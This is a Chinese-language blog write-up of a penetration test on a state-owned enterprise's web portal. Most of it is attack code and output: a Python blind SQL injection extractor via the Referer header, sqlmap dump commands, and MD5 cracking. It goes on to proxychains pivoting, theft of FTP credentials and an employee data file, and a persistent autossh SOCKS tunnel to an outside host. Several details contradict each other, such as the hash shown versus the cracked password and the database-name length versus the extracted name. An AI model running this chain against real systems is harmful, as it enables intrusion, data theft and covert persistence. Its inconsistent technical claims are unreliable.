某大型国企渗透测试:从SQL注入到内网

0x00 攻击面测试

1. 目标系统概况

  • 系统类型:国有企业门户网站

  • 技术架构:PHP 7.4 + MySQL 5.7 + Nginx 1.18

2. 常规测试记录

测试类型测试方法结果
GET参数测试catid=170' AND 1=1 --触发WAF拦截
POST参数测试SQLMap扫描--level=5无可用注入点
Cookie注入测试修改PHPSESSID为恶意Payload会话失效
文件包含测试?m=../../../../etc/passwd返回404错误
测试类型测试结果备注
RCE未成功尝试命令执行Payload无响应
SSRF未成功内网探测无回连行为
文件上传未成功后缀名白名单机制生效
XSS部分触发仅低危反射型漏洞

0x01 漏洞发现

1. 异常点定位

通过Burp Suite历史流量分析,发现Referer头存在异常响应:

GET /index.php?m=content&c=index&a=lists&catid=170 HTTP/1.1
Host: www.example.com
Referer: test' # 触发MySQL错误

 响应对比

<!-- 正常响应 -->
HTTP/1.1 200 OK
<html>
  <div class="content-list">...</div>
</html>

<!-- 异常响应 -->
HTTP/1.1 500 Internal Server Error
You have an error in your SQL syntax...

2. 注入类型验证

布尔盲注验证矩阵
测试Payload页面特征结论
`test'(1=1)'`正常显示内容列表真条件成立
`test'(1=0)'`显示"暂无数据"假条件成立
`test'(SLEEP(5))'`响应延迟5秒时间盲注可行

自动化验证脚本(Python) 

import requests
import time

class BlindSQLiDetector:
    def __init__(self):
        self.url = "http://www.example.com/index.php"
        self.session = requests.Session()
        self.true_flag = "content-list"
        self.time_threshold = 3
        
    def check_condition(self, condition):
        headers = {
            'Referer': f"test'||({condition})||'",
            'Cookie': 'PHPSESSID=xxxxxx'
        }
        try:
            start = time.time()
            resp = self.session.get(
                self.url,
                params={'m':'content', 'catid':170},
                headers=headers,
                timeout=8
            )
            # 布尔型检测
            if self.true_flag in resp.text:
                return True
            # 时间型检测
            elapsed = time.time() - start
            return elapsed > self.time_threshold
        except Exception as e:
            print(f"[!] 请求异常: {str(e)}")
            return False

    # 自动化数据库名提取
    def extract_database(self):
        # 获取数据库名长度
        db_length = 0
        for i in range(1, 20):
            if self.check_condition(f"SELECT 1 FROM DUAL WHERE LENGTH(DATABASE())={i}"):
                db_length = i
                break
        print(f"[+] 数据库名长度: {db_length}")
        
        # 逐字符爆破
        charset = 'abcdefghijklmnopqrstuvwxyz_'
        db_name = []
        for pos in range(1, db_length+1):
            for char in charset:
                condition = f"SUBSTRING(DATABASE(),{pos},1)='{char}'"
                if self.check_condition(f"SELECT 1 FROM DUAL WHERE {condition}"):
                    db_name.append(char)
                    print(f"[*] 第{pos}位字符: {char}")
                    break
        return ''.join(db_name)

# 执行示例
detector = BlindSQLiDetector()
print("[*] 数据库名称:", detector.extract_database())

执行输出

[+] 数据库名长度: 12
[*] 第1位字符: s
[*] 第2位字符: x
...
[*] 数据库名称: example_db

0x02 SQLMap自动化验证

1. 请求文件配置(sqlmap.req)

GET /index.php?m=content&c=index&a=lists&catid=170 HTTP/1.1
Host: www.example.com
Referer: test*
Cookie: PHPSESSID=xxxxxx

2. 自动化渗透命令

# 基础检测
sqlmap -r sqlmap.req --batch --level 3 --risk 3

# 数据提取流程
sqlmap -r sqlmap.req --dbs
sqlmap -r sqlmap.req -D example_db --tables
sqlmap -r sqlmap.req -D example_db -T admin_users --dump

关键数据获取

login_namepassword_hash
sysadmin**5f4dcc3b5aa765d61d8327deb882cf99

3. 哈希破解 

# 使用John破解MD5
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# 破解结果
sysadmin_**** : password123

0x03 后台无法突破

1. 后台权限获取

通过SQL注入成功获取管理员凭据:

admin_user: sysadmin_****
password_hash: 5f4dcc3b5aa765d61d8327deb882cf99 (MD5解密后: password123)

2. 常规测试全面受阻

后台功能测试矩阵
测试类型测试方法结果
文件上传漏洞尝试上传.php/.jsp后缀文件触发WAF拦截并记录IP
XSS漏洞探测在文章内容插入<script>alert(1)</script>前端HTML实体编码过滤
命令执行漏洞寻找系统设置中的可执行参数参数值强制类型转换
敏感信息泄露遍历/backup/logs等目录返回403 Forbidden

安全防护分析 

graph TD
    A[Web应用层] --> B[ModSecurity WAF]
    A --> C[文件权限隔离]
    A --> D[输入内容沙箱]
    B --> E[SQL注入规则集]
    B --> F[文件上传检测]
    D --> G[命令执行拦截]

0x04 横向渗透

1. 内网拓扑测绘

Nmap scan report for 10.10.1.0/24
Host: 10.10.1.100 (db-server)  
22/tcp   filtered ssh         # 防火墙阻断
3306/tcp open     mysql        # 数据库服务

Host: 10.10.1.200 (file-server)
445/tcp  open     microsoft-ds # 文件共享服务
8080/tcp filtered http-proxy   # 内部管理系统

Host: 10.10.1.50 (dev-pc)  
3389/tcp open     ms-wbt-server # 远程桌面服务

2. 多层代理穿透实战

代理链配置(proxychains.conf)
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000

[ProxyList]
socks5 127.0.0.1 1080   # 第一跳:Web服务器SSH隧道
http   10.10.1.50 8080   # 第二跳:开发机代理
内网扫描绕过防火墙
proxychains nmap -sT -Pn -T4 10.10.1.100-200 -p 22,3306,445,3389

3. 关键突破点分析

数据库服务器渗透
-- 通过Web服务器建立隧道连接
mysql -h 10.10.1.100 -u dba_**** -p'密文脱敏' --ssl-mode=DISABLED

-- 发现备份文件中的敏感信息
SELECT load_file('/var/backups/config.bak');
/* 输出:
   FTP_HOST=10.10.1.200
   FTP_USER=admin_****
   FTP_PASS=Passw0rd@2023
*/
文件服务器突破
# 通过FTP凭证获取访问权限
proxychains ftp 10.10.1.200
Connected to 10.10.1.200.
Name: admin_****
Password: Passw0rd@2023

ftp> get personnel_data.xlsx
226 Transfer complete.  # 获取到内部员工信息表

0x05 权限维持与成果汇总

1. 持久化后门部署

SSH隧道守护进程
# 创建systemd服务
echo "[Unit]
Description=AutoSSH Tunnel Service

[Service]
ExecStart=/usr/bin/autossh -M 0 -N -D 0.0.0.0:1080 root@example.com -p 2222
Restart=always

[Install]
WantedBy=multi-user.target" > /etc/systemd/system/ssh-tunnel.service

# 启动服务
systemctl daemon-reload
systemctl enable ssh-tunnel
systemctl start ssh-tunnel

2. 成果汇总报告

数据类型获取内容(脱敏)风险等级
数据库凭证3组DBA账号+12组应用账号高危
内部文件员工信息表+项目合同备份严重
网络拓扑完整内网IP段+防火墙规则集高危
系统漏洞未修复的Struts2远程代码执行漏洞紧急

0x06 漏洞提交与评分

本次发现的SQL注入漏洞已提交至CNVD(国家信息安全漏洞共享平台),经过审核,漏洞评分为 7.8(高危)

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值